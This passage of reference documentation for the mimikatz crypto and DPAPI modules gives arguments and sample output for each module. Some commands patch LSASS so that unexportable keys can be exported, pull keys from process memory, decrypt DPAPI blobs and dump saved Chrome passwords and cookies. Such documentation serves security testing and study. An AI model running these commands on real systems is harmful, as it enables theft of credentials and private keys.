'local_machine' (0x00020000) * Store : 'my' 0. example.domain.local Key Container : example.domain.local Provider : Microsoft Software Key Storage Provider Type : CNG Key (0xffffffff) Exportable key : NO Key size : 2048 Public export : OK - 'local_machine_my_0_example.domain.local.der' Private export : OK - 'local_machine_my_0_example.domain.local.pfx' ``` # certtohw `crypto::certtohw` tries to export a software CA to a crypto (virtual) hardware. It has the following command line arguments: * `/csp`: the crypto certificate provider * `/name`: the name of the certificate * `/store`: the store that must be used to list/export certificates (default: `My`) - full list with [`crypto::stores`](/mimikatz/modules/crypto/stores). # cng `crypto::cng` patches the CNG (Cryptography API: Next Generation) service for easy export (Experimental :warning:). This patch modifies `KeyIso` service, in `LSASS` process, in order to make unexportable keys, exportable. This is only useful when the keys provider is `Microsoft Software Key Storage Provider` (you do **not** need to patch `CNG` for other providers). It can be used with [`crypto::certificates`](/mimikatz/modules/crypto/certificates) and [`crypto::keys`](/mimikatz/modules/crypto/keys). ``` mimikatz # privilege::debug Privilege '20' OK mimikatz # crypto::cng "KeyIso" service patched ``` # extract `crypto::extract` extracts keys from the CAPI RSA/AES provider (Experimental :warning:). ``` mimikatz # crypto::extract lsass.exe (816) AlgId : 3DES (0x10005) Mode : ChainingModeCBC (0x1) IV : 8a8c03aa5722b0ea Key ( 24) : 1a4202f442ebde5aa20d72ea32ed1c30a83ee5ce2048a50a AlgId : AES (0x10002) Mode : ChainingModeCFB (0x3) Key ( 16) : 213d8d48ff884017252091c4c3361b38 AlgId : RC4 (0x10001) Mode : ChainingModeN/A (0x0) Key ( 16) : ee9eb08d70250d26e6f6c4cb8d92df5d AlgId : RC4 (0x10001) Mode : ChainingModeN/A (0x0) Key ( 16) : de3f10f59ca7c63edb40e06dd152a7e0 AlgId : RSA (0x30001) PubExp : 4d11aa323757497ef5de5d526b8ba2502e6053aa9a6d55d2c2d2edcb310e6007550bf09c0fa5cf15da082fadf07398fab29fd803ad048235d95e2ee88e3c3ff39e083eaee1ac0d079b2b6664731742dfbb2fea5f39bfc6f59c0e3e724a27759a2c79d7c4c703c99256e1a664f278acb27cf015711ad9791424aee001f869d5f10c8b951aa5d561aa0dea8ce71d486d19ad632dac057143a25b1090d69d38fa03b2c794398cde74e4b57f3eee63573bcf144b392c86d57b66892afbce9ab5106bee7c03a5bb5cb4534f40c0e723a0905b4b9b38ee9504e7bb9357d880993e3bc2f353f2b92bd13b709758a9ac44fba685eb03a5b1c02db25893419888b0d27610 Modulus : d70e7b5f8512f1698cf946d06c88e79bb8dd040bb5fb50e1b3291142feedb4a03732d12bd2ed8b2dd81dc3a546b46c34e82b202a59c01c8dc9ac3b6b6dcf3fb0a15fae7b632d643daf74e491284757f43ad3ff59ef78ce1f1f9b50325841d9343664bf1b8b56358a5a998ace10dab26977cfdc3b3a5e24809e665bb6b1292ee5 Prime1 : d70e7b5f8512f1698cf946d06c88e79bb8dd040bb5fb50e1b3291142feedb4a03732d12bd2ed8b2dd81dc3a546b46c34e82b202a59c01c8dc9ac3b6b6dcf3fb0a15fae7b632d643daf74e491284757f43ad3ff59ef78ce1f1f9b50325841d9343664bf1b8b56358a5a998ace10dab26977cfdc3b3a5e24809e665bb6b1292ee5 Prime2 : 8b50756840dc6f1e3e3ac17b0a977d7ffe7dcef561d8a8f9e73e5530c213722cbb7725bab3334cc18b432954d3f6a425b82d0188fdc39825b1fc2743b2ade05e60e949dbd06d66a8823192d80afd6d92736b2bbd3a07654a680ba90084a5066ff180c3a1fe28d5ba8617fb6fadb383763f5261abfe4e0a45f0c8490f55bd09c5 AlgId : RSA (0x30001) AlgId : AES (0x10002) Mode : ChainingModeCBC (0x1) Key ( 32) : 6d9fc1ae597be017a7e44c9b41dae46f5b690d01f7642043e0a0180197e1e2bb AlgId : AES (0x10002) Mode : ChainingModeCBC (0x1) Key ( 16) : 932b41c722cdc1e2b9291b2789ca664b svchost.exe (2328) svchost.exe (5244) AlgId : ECDSA_P256 (0x30004) AlgId : ECDSA_P256 (0x30004) chrome.exe (8300) Algid : CALG_RSA_KEYX (0xa400) Key (284) : 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 powershell.exe (7084) ``` # hash `crypto::hash` hashes a password in the main formats (NT, DCC1, DCC2, LM, MD5, SHA1, SHA2) with the username being an optional value. It has the following command line argument: * `/count`: number of iterations for the salted hashes {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "NTLM" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} ``` mimikatz # crypto::hash /user:test /password:password NTLM: 8846f7eaee8fb117ad06bdd830b7586c DCC1: 1f34a7dfade9ddaa26746086ecbe77bf DCC2: a86012faf7d88d1fc037a69764a92cac LM : e52cac67419a9a224a3b108f3fa6cb6d MD5 : b081dbe85e1ec3ffc3d4e7d0227400cd SHA1: e8f97fba9104d1ea5047948e6dfb67facd9f5b73 SHA2: e201065d0554652615c320c00a1d5bc8edca469d72c2790e24152d0c1e2b6189 ``` # keys `crypto::keys` lists or exports key containers. It has the following command line arguments: * `/provider`: the legacy `CryptoAPI` provider (default: `MS_ENHANCED_PROV`) * `/providertype`: the legacy `CryptoAPI` provider type (default: `PROV_RSA_FULL`) * `/cngprovider`: the `CNG` provider (default: `Microsoft Software Key Storage Provider`) * `/export`: export all keys to `PVK` files * `/silent`: if user interaction is required, then abort {% hint style="info" %} If needed, you can convert `PVK` files with: `openssl rsa -inform pvk -in key.pvk -outform pem -out key.pem` {% endhint %} ``` mimikatz # crypto::keys /export * Store : 'user' * Provider : 'MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0') * Provider type : 'PROV_RSA_FULL' (1) * CNG Provider : 'Microsoft Software Key Storage Provider' CryptoAPI keys : CNG keys : 0. Microsoft Connected Devices Platform device certificate |Provider name : Microsoft Software Key Storage Provider |Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ; Key Container : Microsoft Connected Devices Platform device certificate Unique name : de7cf8a7901d2ad13e5c67c29e5d1662_e4aad2d1-5ec0-4ea4-b259-65eda5bc47a8 Algorithm : ECDSA_P256 Key size : 256 (0x00000100) Export policy : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; ) Exportable key : YES LSA isolation : NO Private export : OK - 'user_cng_0_Microsoft Connected Devices Platform device certificate.dsa.ec.p8k' ``` # kutil 🛠️ {% hint style="danger" %} Work in Progress {% endhint %} # providers `crypto::providers` lists cryptographic providers. This module, one of the oldest, plays with `CryptoAPI` functions. Basically it's a little `certutil` that features token impersonation, patches legacy `CryptoAPI` functions and patches `CNG` key isolation service. ``` mimikatz # crypto::providers CryptoAPI providers : 0. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0 1. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic Provider 2. DSS ( 3) - Microsoft Base DSS Cryptographic Provider 3. RSA_FULL ( 1) H - Microsoft Base Smart Card Crypto Provider 4. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Provider 5. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0 6. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider 7. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic Provider 8. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Provider 9. RSA_FULL ( 1) - Microsoft Strong Cryptographic Provider CryptoAPI provider types: 0. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange) 1. DSS ( 3) - DSS Signature 2. RSA_SCHANNEL (12) - RSA SChannel 3. DSS_DH (13) - DSS Signature with Diffie-Hellman Key Exchange 4. DH_SCHANNEL (18) - Diffie-Hellman SChannel 5. RSA_AES (24) - RSA Full and AES CNG providers : 0. Kiwi Random TPM Provider 1. Microsoft Key Protection Provider 2. Microsoft Passport Key Storage Provider 3. Microsoft Platform Crypto Provider 4. Microsoft Primitive Provider 5. Microsoft Smart Card Key Storage Provider 6. Microsoft Software Key Storage Provider 7. Microsoft SSL Protocol Provider 8. Windows Client Key Protection Provider ``` # sc `crypto::sc` lists smartcard/token reader(s) on, or deported to, the system. When the CSP (Cryptographic Service Provider) is available, it tries to list keys on the smartcard. ``` mimikatz # crypto::sc SmartCard readers: * OMNIKEY CardMan 3x21 0 ATR : 3bb794008131fe6553504b32339000d1 Model: G&D SPK 2.3 T=1 CSP : SafeSign Standard Cryptographic Service Provider 0. 34C99D73A1FAE4D44F9966DF626623DF18858C83 34C99D73A1FAE4D44F9966DF626623DF18858C83 Type : AT_KEYEXCHANGE (0x00000001) Exportable key : NO Key size : 1024 * SCM Microsystems Inc. SCR35xx USB Smart Card Reader 0 ``` # scauth 🛠️ {% hint style="danger" %} Work in progress {% endhint %} `crypto::scauth` it creates a authentication certificate (smartcard like) from a CA. It has the following command line arguments: * `/hw:` at the time of writing, 17th December 2021, we don't know what this option is used for * `/csp:` the crypto certificate provider * `/pin:` the smartcard PIN * `/nostore:` do not interact with the store * `/caname`: the subject name of the certificate authority (needed to sign the certificate) * `/castore`: the system store that contains the certificate authority (default: `CERT_SYSTEM_STORE_LOCAL_MACHINE`) * `/upn`: the User Principal Name (UPN) targeted (eg: `user@lab.local`) * `/pfx`: the filename for saving the final certificate (default: no file, stored in `CERT_SYSTEM_STORE_CURRENT_USER`) ``` mimikatz # crypto::scauth /caname:KiwiAC /upn:user@lab.local /pfx:user.pfx CA store : LOCAL_MACHINE CA name : KiwiAC CA validity : 22/08/2016 22:00:36 -> 22/08/2021 22:10:35 Certificate UPN: user@lab.local Key container : {a1bd29ec-4203-4aac-8159-40f28f96335b} Key provider : Microsoft Enhanced Cryptographic Provider v1.0 Private Export : user.pfx - OK ``` # stores `crypto::stores` lists cryptographic stores. It has the following command line argument: * `/systemstore`: the system store that must be used to list stores (default: `CERT_SYSTEM_STORE_CURRENT_USER`) The `/systemstore` can also be one of the following: * `CERT_SYSTEM_STORE_CURRENT_USER` or `CURRENT_USER` * `CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY` or `USER_GROUP_POLICY` * `CERT_SYSTEM_STORE_LOCAL_MACHINE` or `LOCAL_MACHINE` * `CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY` or `LOCAL_MACHINE_GROUP_POLICY` * `CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE` or `LOCAL_MACHINE_ENTERPRISE` * `CERT_SYSTEM_STORE_CURRENT_SERVICE` or `CURRENT_SERVICE` * `CERT_SYSTEM_STORE_USERS` or `USERS` * `CERT_SYSTEM_STORE_SERVICES` or `SERVICES` ``` mimikatz # crypto::stores Asking for System Store 'CURRENT_USER' (0x00010000) 0. My 1. Root 2. Trust 3. CA 4. UserDS 5. TrustedPublisher 6. Disallowed 7. AuthRoot 8. TrustedPeople 9. ClientAuthIssuer 10. ACRS 11. SmartCardRoot ``` ``` mimikatz # crypto::stores /systemstore:local_machine Asking for System Store 'local_machine' (0x00020000) 0. My 1. Root 2. Trust 3. CA 4. TrustedPublisher 5. Disallowed 6. AuthRoot 7. TrustedPeople 8. ClientAuthIssuer 9. FlightRoot 10. TestSignRoot 11. AAD Token Issuer 12. eSIM Certification Authorities 13. Homegroup Machine Certificates 14. Remote Desktop 15. SmartCardRoot 16. TrustedAppRoot 17. TrustedDevices 18. Windows Live ID Token Issuer 19. WindowsServerUpdateServices ``` # system `crypto::system` it describes a Windows System Certificate. It as the following command line arguments: * `/file:` the path of the certificate * `/export:` export to a ***.der*** file The following output was taken from [this](https://tinyapps.org/docs/decrypt-efs-without-cert-backup.html) guide: ``` mimikatz # crypto::system /file:"SystemCertificates\My\Certificates\096BA4D021B50F5E78F2B9854A7461678EDAA006" /export ... Key Container : d209e940-6952-4c9d-b906-372d5a3dbd50 Provider : Microsoft Enhanced Cryptographic Provider v1.0 ... Saved to file: 096BA4D021B50F5E78F2B9854A7461678EDAA006.der ``` # tpminfo `crypto::tpminfo` displays information for the Microsoft's TPM Platform Crypto Provider. ``` mimikatz# crypto::tpminfo ``` # dpapi Benjamin has published an [Excel spreadsheet](https://onedrive.live.com/view.aspx?resid=A352EBC5934F0254!3104\&ithint=file%2cxlsx\&authkey=!ACGFg7R-U5xkTh4) with Windows file paths for the corresponding DPAPI section. # blob `dpapi::blob` describes a DPAPI blob and unprotects/decrypts it with API or Masterkey. It has the following command line arguments: * `/in`: the path to the blob file * `/raw`: the blob data in raw format * `/out`: the path to save the results * `/ascii`: the blob data in ASCII format * `/password`: the password to decrypt the blob * `/unprotect`: displays the decryption results on screen * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). ``` mimikatz # dpapi::blob /in:dpapi_blob.txt /unprotect **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {5c22983f-77ee-41e4-9086-8073d664e417} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000002 - 2 szDescription : algCrypt : 00006603 - 26115 (CALG_3DES) dwAlgCryptLen : 000000c0 - 192 dwSaltLen : 00000010 - 16 pbSalt : 6bccc6a1e6ba8ae74d99fc0801bdc502 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 00008004 - 32772 (CALG_SHA1) dwAlgHashLen : 000000a0 - 160 dwHmac2KeyLen : 00000010 - 16 pbHmack2Key : 2a31aa666d7a0efb8b140df7709d0814 dwDataLen : 00000020 - 32 pbData : 679f2ed4ef2829dd49f94fb46ebd575b7d545a92d762bbedbf384eece6a69599 dwSignLen : 00000014 - 20 pbSign : e57681477a7407acceb724c385243070cc7aa6ba * using CryptUnprotectData API description : data: Hello Mimikatz ``` # cache `dpapi::cache` displays the credential cache of the DPAPI module. It has the following command line argument: * `/save`: save the output to a `.ndr` file * `/load`: load the `.ndr` file. By default it will search on the current path ``` mimikatz # dpapi::cache CREDENTIALS cache ================= MASTERKEYS cache ================ GUID:{0686f7cf-76f3-413b-a51e-28d0d0531013};KeyHash:c5049248822679fdb3e60ba37531ae3e805f7122;Key:available GUID:{b3f80f3d-c0e3-49bf-b625-138f351e58fe};KeyHash:4d7a99f0704d8d9a470c1520a6ae8a5088074d9e;Key:available GUID:{04ba5c5c-7ae8-4a09-8cf6-d623558cdfec};KeyHash:5d45c4d426c247354968963aacdcccc439112c6c;Key:available GUID:{58636dcf-f23d-4461-9579-23d032b65a93};KeyHash:9dcc466c6bb5b0772fe5650386cf33fc1a1f00fc;Key:available GUID:{436352c3-01c5-49b1-a5f7-148f86203b4c};KeyHash:ff82db201aff8a92df65ac8d5e3649b919a02a55;Key:available GUID:{ad426236-788d-4fe6-a1c7-04a21440f493};KeyHash:7752ff93b8cc9bc275ebedf84115f59e347578e8;Key:available GUID:{612eeb99-0f2b-42e3-be2d-d65046fb2738};KeyHash:d6ef42907dcc8e100f03e4f971bada865ee90ad0;Key:available GUID:{f150d358-fc03-427a-9707-8e14fa82c9e2};KeyHash:f9e649f84edde57d8d84c4f8b33ea18dd4e8e0c4;Key:available DOMAINKEYS cache ================ GUID:{e3364acb-379c-4775-bef7-c3c1e1992589};TYPE:RSA GUID:{b799ff33-a573-444f-bc86-b8aeb36fcb3f};TYPE:LEGACY ``` # capi `dpapi::capi` decrypts a CryptoAPI private key file. It has the following command line argument: * `/in`: the CAPI private key file. The location of the file is `C:\Users\AppData\Roaming\Microsoft\Crypto\RSA` * `/password`: the password to decrypt the capi key * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen The following example was taken from Benjamin's [Decrypt EFS Files](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files) guide: ``` mimikatz # dpapi::capi /in:"D:\\Users\\Gentil Kiwi\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-494464150-3436831043-1864828003-1001\\79e1ac78150e8bea8ad238e14d63145b_4f8e7ec6-a506-4d31-9d5a-1e4cbed4997b" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b **KEY (capi)** dwVersion : 00000002 - 2 dwUniqueNameLen : 00000025 - 37 dwSiPublicKeyLen : 00000000 - 0 dwSiPrivateKeyLen : 00000000 - 0 dwExPublicKeyLen : 0000011c - 284 dwExPrivateKeyLen : 0000064e - 1614 dwHashLen : 00000014 - 20 dwSiExportFlagLen : 00000000 - 0 dwExExportFlagLen : 000000fc - 252 pUniqueName : ffb75517-bc6c-4a40-8f8b-e2c555e30e34 pHash : 0000000000000000000000000000000000000000 pSiPublicKey : pSiPrivateKey : pSiExportFlag : pExPublicKey : 525341310801000000080000ff00000001000100bfab29f4eea58b2fa529dee347b2ba64355f80686faf45ea16abbb02d7e8b3f3af6ae1cb02e79425190fecfa7c24c870e51ac776e2849acc50e2f1287d593976d62bb104027b3a294a3aeef2749c411e59cc1d7def692c1c54eb5f6f60d65142221f1417c492e69976cf631653bd4a23528d286f0260ca5ee3bd54b396d985c6553f78be6310b7d10f0551a702fe514cedf6425136f3e3047dc7704f408fc43b5a10048769e84bfd57ce4f314291cc5136a31bc510e1c68789ba1db25508e67b3420fa520b2142a7ac0f7b93a1a44cf7af9f6809b23ebaf6a6c89edc72316c9d8ff11ec2089f2641bc8c798e172356f904883f94b04f0ee475af1bc43365a6ce0000000000000000 pExPrivateKey : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {1eccdbd2-4771-4360-8b19-9d6060a061dc} dwFlags : 00000000 - 0 () dwDescriptionLen : 0000002a - 42 szDescription : Clé privée CryptoAPI algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : 27e9175d0d9bbaa8987782036b5ae2e8174bf1817f5d962196a94b4621f028a5 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : 898f558b700ccffc1d2fe16ca62bce66dfe0b78e6d8e4c593e774a342decb2f8 dwDataLen : 00000550 - 1360 pbData : 1bfa381970e93ec34b71d3b5cd104671b28d14c841d921823cad030755cb16078e38ecc4a0deddb09c97439b162a5efaecd21c50851a3489f0ad804263bd4164d14bdff85936840568cf25369df824965367dd05ff3bb40d35be52fe8425029ee4b154bc3da2bdc65be0029490024047f9b573a74dc6d624f385acbbfcf754585a0267d5397e91005d3bf4fe98bc4c23b82dc06947d42f30066bc4505e968e6b4e953fecde6dc22ac0ec7da82f0c3f6fc4462f3ac1ab8c8211ae76d44a239c2eab91282c60d90e47bed61d893f6551579383ca3f01cc234d276a64e8b13e80f2b4667a31b2d8252654139434489addccdd033db72874b6ecb5d3fa6d4cae0446c3aca78cb4d018ff8b7155df00d35412bb105613cdb4972302e90f3f5c88a766047743c0b2c77619abef8832752ed2798e0a0cd8ac6ec090185f0ec71f2f6069e8d3e1967c033659e4debe474c2faec7d9db9cfca9abca3a2266407269a3ef895bb82495038da5e64fd0051c354a26db29c9ea6d9d9969535683845fe1cd50767e210e8c2d9a5cf56f37c8a34411901bc7d09c7c2188beb84014958580b2f00a634f35fac920759f4655ca3645020d85c8abfcc1323ca8d8d799d4fc9dd20f6e18c7c0735bd57f064da02e676f80bfbec52a32f0dbc0d2f28f7d0009c07ae52ebad0ce0607888d89379d487ed93c4f4e175284f5e9ef73b511f71b37bbe6fb5485122ada686c747207912a0287130f29e3e24b5f51c6def3e7cea71314fabc99db7755e50bb464d75eef100dd89d1e6807029bb8b183b077955d3c8cfb0ba9bd9af6c8855589abdad4704d6d4bd86e93a4dca914ebc44fd54231bc91e56e6f80e22152d20412cd94adc3c979b8c580f55536926c3842df388bcbf9cdf9c51983a6a8e6cb66f9baf09d520ffd6fcbacfa30ba53de0dab1c1bba2955bfa9a97b36866da8e743b1f6fc1cdce22e094fa196c0ab80ed2a5c8406d1cdf0ed87a882905416d96a64fc2c66eaae645d939da9fa32b9b54eec5b11bc3085adb261e4bc6f7a0ea23b18c176e8518aa5df0ffb630359a55fdc702e7c12f363eb6029c9b0b281be5e0494a198a821b47f3a19dea41c5cbf7d2e0b0df045718b3b9167176b9765c82217ebde800a574c488b3a957a352f9e3ba6c15117539a4a31863fff6e7495517779fbf68c8cb0f8bcae14fcfd57a6dacfcf18eab8a80ef6edf16b4fc14eb98eb40a09349983ae5953971ad105732e3a89f1a9b3968b988aa1be111b76264a725086017bdedfc1be76a50864759d13b3be4ce6cf14d52c8a007c04e1581de43ad926516a8bed90056246f0c45b9d285047035f35493ac7be08add32205aafa45c2aa811bcf1f528511f6d9cde8c6b001379e87b78bf124f98122a627381c3ad445788999c448375e4324c11f984aade3a124ada9f403488a5c5f4f0d255481e4d1fcd0250562fa3f2e89215cf6600d49cab22433a303e74e95fa913e50616b1b85097ad68c73015109b89d6cea9e374aa842d2f405f6966719cc8310df5861f6625cab1b56140832654e46563525349a893d8d6ac8476e0d1c2626e866395472d2019467b7027cc4d219895e255a168b8382f98eb025afbc4417fb9ed05c77f8267af47f2be04e8296909b1d713079002129b3b81c0474ffa01011e1d517bf3a88e858d231525a5b8493d9f197cbc765971d8d3baba6a2c37fe889e108f200d70061f2c7e32f506761167a35ca91fca4bf0f927b88465304822a72350f276c275ff0b1cd31e6403abe6b1bdc0864dd27b4fc7d9fffacce30bb52448362202a0fc7d3493259ae299af0c42845290833438d25e5b35f75d082a66751ef3ea6e00b40a9533d610cdf4376feeb296486de8f144af4bc8cff4b53cbd7626d0d917505b4f542024af5bc6aa353b5b1e781 dwSignLen : 00000040 - 64 pbSign : 0733e4242e0aee05a87aee456ade99ccedce27548f93b96d9d1a2c029ab6ef2afa8d1027680a9f92a380e82752dab06409f74d15d978a72920d99fabbf1f4377 pExExportFlag : **BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {1eccdbd2-4771-4360-8b19-9d6060a061dc} dwFlags : 00000000 - 0 () dwDescriptionLen : 00000018 - 24 szDescription : Export Flag algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : c23d0a88fe308d2f0172a4ebaad46f4485f4638739bc7488e3ad0f858f415b5a dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : 05a72a929f5a7f5518887a7d082a2c7c25b444798c255d592e77b7b979e0360d dwDataLen : 00000010 - 16 pbData : 2097aff03cd998c4fd1faf2bca7fe6c4 dwSignLen : 00000040 - 64 pbSign : bfddd1ab8552bff9b642cb695d351635d302019238c77e0495eb1a558b4eabada2802d1e33a63e9829700eaa7913abb83c9598f9b97c87fed793f3bd4fb90be3 Decrypting AT_EXCHANGE Export flags: * masterkey : f2c9ea33a990c865e985c496fb8915445895d80b 01000000 Decrypting AT_EXCHANGE Private Key: * masterkey : f2c9ea33a990c865e985c496fb8915445895d80b 525341320801000000080000ff00000001000100bfab29f4eea58b2fa529dee347b2ba64355f80686faf45ea16abbb02d7e8b3f3af6ae1cb02e79425190fecfa7c24c870e51ac776e2849acc50e2f1287d593976d62bb104027b3a294a3aeef2749c411e59cc1d7def692c1c54eb5f6f60d65142221f1417c492e69976cf631653bd4a23528d286f0260ca5ee3bd54b396d985c6553f78be6310b7d10f0551a702fe514cedf6425136f3e3047dc7704f408fc43b5a10048769e84bfd57ce4f314291cc5136a31bc510e1c68789ba1db25508e67b3420fa520b2142a7ac0f7b93a1a44cf7af9f6809b23ebaf6a6c89edc72316c9d8ff11ec2089f2641bc8c798e172356f904883f94b04f0ee475af1bc43365a6ce000000000000000027fc60e13eca2e1299234c00916c6a864ca3c834da67c49c7cf181279d845c45b95640301157afc3380ed77911235caab0b6d0c02d2ea3b38a00b2c9771d2995423b33554d865f7b56e7965fcf070445f86316e35487350782343d9b39bc912eefc298b1bfa2a8c0beb9360bbf711df7502439558c4dedbd5e24b8a0498760da00000000a9da86a8ee9474160ac17038b65061c6e2babf5c830753b2eb03e754dff61d79732c440d0318050bc76eeb7c15c8f5401b91602cca636c358c8306b165f966812d0e099a7c46c03c0852898c5404905aba8de44d62c3e7c5e066e1a16bbe5ee8ab70611da9f981a27449b1868ed20acb3a160ae4b8ab40521e26b61981a540f2000000004741d7a3cd5111047fb9eb70190c63e17fd4fabf00527d6098504b7c207a358f4cc59704dc05964753388f79c6de3a28fad764c3d700b3598ad3030256c9e48a475c89c67a1bf1f4f8aed9995965686bd9ccdcb18524c81e8e3e2138c35681f0ee53ae50e04ffc69ddc5c353d5568d4cff136d59ab061f9ae81bdf5ffd6181c300000000e180076963015447b6853b2420831696489b2bb7c7ddc8dd7b72440d655680135ffc8a717a719c8e107a13e514ed987f54967c5d641c7a96ee4f2581ead14f0a078cd91ddcaceda36ce8db6cc2c6e805045b6e36e7c31d557b9cca8a9884e2184bb9d7f04a665011b087b5f09622ad0c0af0cb6032d534c9622f64738c3d3adb00000000dc93548eccf25667a764f15768798d05c64f9a551bf84269f4f09e28180769f43d7bb9c3abc7be149467034438e20ed0e5324a926f972916d6855641cf564a9a2ccd0ec4bde399e1243674fa8030fdf16bdb8434668e2725084ac740c484d4d8155bf814dd8720644f1a1259291f2cf9c24805d992fa18ecac1f4135c4baf39c00000000b95ec0bf840fe8cb4e7aa64139f753e0a8430ff0491a763e52871085a0b555bb96b2025685264b4631f36e75567fb460487a583c3aa3772daf402707e1b6f6a8e93d4f853a1f9f32cf147974a6c6fa225ac2a8f13fade5dd4bf6e5ddf0fc94e03a6c37e0c70f9de1d80be7f0407fc660f24ccf98e45201678a82b457be3431f180b6a719f1e350e8feb870317f1e2b2549f8d29ca9e5d805f82d6b59bc1977b2b8c57ad114d7d8d9a8476a1e7a81d4d9b6c070050134f44d406be1d69440ab43ecee1d4da4f6805a9afa6539bce166f8c13f775c1ce813ba24773d936396f1e100be85edb556586b1461e03a1b52fc05bb2683a57fbbdd2f0514f3b668f62f1600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Exportable key : YES Key size : 2048 Private export : OK - 'raw_exchange_capi_0_ffb75517-bc6c-4a40-8f8b-e2c555e30e34.pvk' ``` # chrome `dpapi::chrome` dumps stored credentials and cookies from Chrome. (cf. [dumping DPAPI secrets](https://www.thehacker.recipes/ad-ds/movement/credentials/dumping/dpapi-protected-secrets)) It has the following command line arguments: * `in`: the `C:\Users\\AppData\Local\Google\Chrome\User Data\Default\Login Data` for the saves logins and the `C:\Users\AppData\Local\Google\Chrome\User Data\Default\Cookies` for the cookies * `key`: it is the ***key*** output value of the `dpapi::masterkey in:"C:\Users\\AppData\Roaming\Microsoft\Protect\SID\MasterKey_ID" /rpc`. it is useful for offline dumping of Chrome. CoreSecurity has published an excellent [guide](https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz) on how this can be accomplished offline * `state`: TODO * `encryptedkey`: TODO * `/password`: the user's password to use for decryption * `/masterkey`: the masterkey to use for decryption. It can be obtained through [`sekurlsa::dpapi`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi). * `/unprotect`: display the decryption results on screen ``` mimikatz # dpapi::chrome /in:"C:\Users\m3g9tr0n\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:3f7a17dd6658319fcd4b832afc20ac7dacbb9d7cd668527c71f98e90464624634c614a7923a3beb23c4e24dd718f2a8e838ce72935fb29f11507affb543a53c3 > Encrypted Key found in local state file > Encrypted Key seems to be protected by DPAPI * volatile cache: GUID:{5c22983f-77ee-41e4-9086-8073d664e417};KeyHash:850247e2dd89c50536c05bdcee1a56c395e752cf;Key:available * masterkey : 3f7a17dd6658319fcd4b832afc20ac7dacbb9d7cd668527c71f98e90464624634c614a7923a3beb23c4e24dd718f2a8e838ce72935fb29f11507affb543a53c3 > AES Key is: fd0635bf2e19d76231f649f48f4a90df3de80d3f83aa5ad016b3155fdab37fa2 URL : https://login.live.com/ ( https://login.live.com/login.srf ) Username: mytestmail@hotmail.com * using BCrypt with AES-256-GCM Password: MySecretPass ``` # cloudapkd 🛠️ `dpapi::cloudapkd` allows to decrypt via DPAPI the ProofOfPossesionKey (extracted from a Primary Refresh Token, a.k.a. PRT, e.g. [cloudap](/mimikatz/modules/sekurlsa/cloudap)) and thus recover the Clear key and the Derived Key. * `/prt`: Primary Refresh Token, used for JWT token generation (can be found with `sekurlsa::cloudap`) * `/iat`: Issued At, used for JWT token generation (Default: -112) * `/pop`: Proof-of-Possession (Unknown usage, Work In Progress) * `/label`: Object label, can be retrive from `keyvalue` with `unprotect` * `/context`: Used for JWT token generation (can be found with unprotect) * `/keyname`: Is necessary for opaque keys (when a TPM is used for example) during `unprotect` operation * `/keyvalue`: Part of 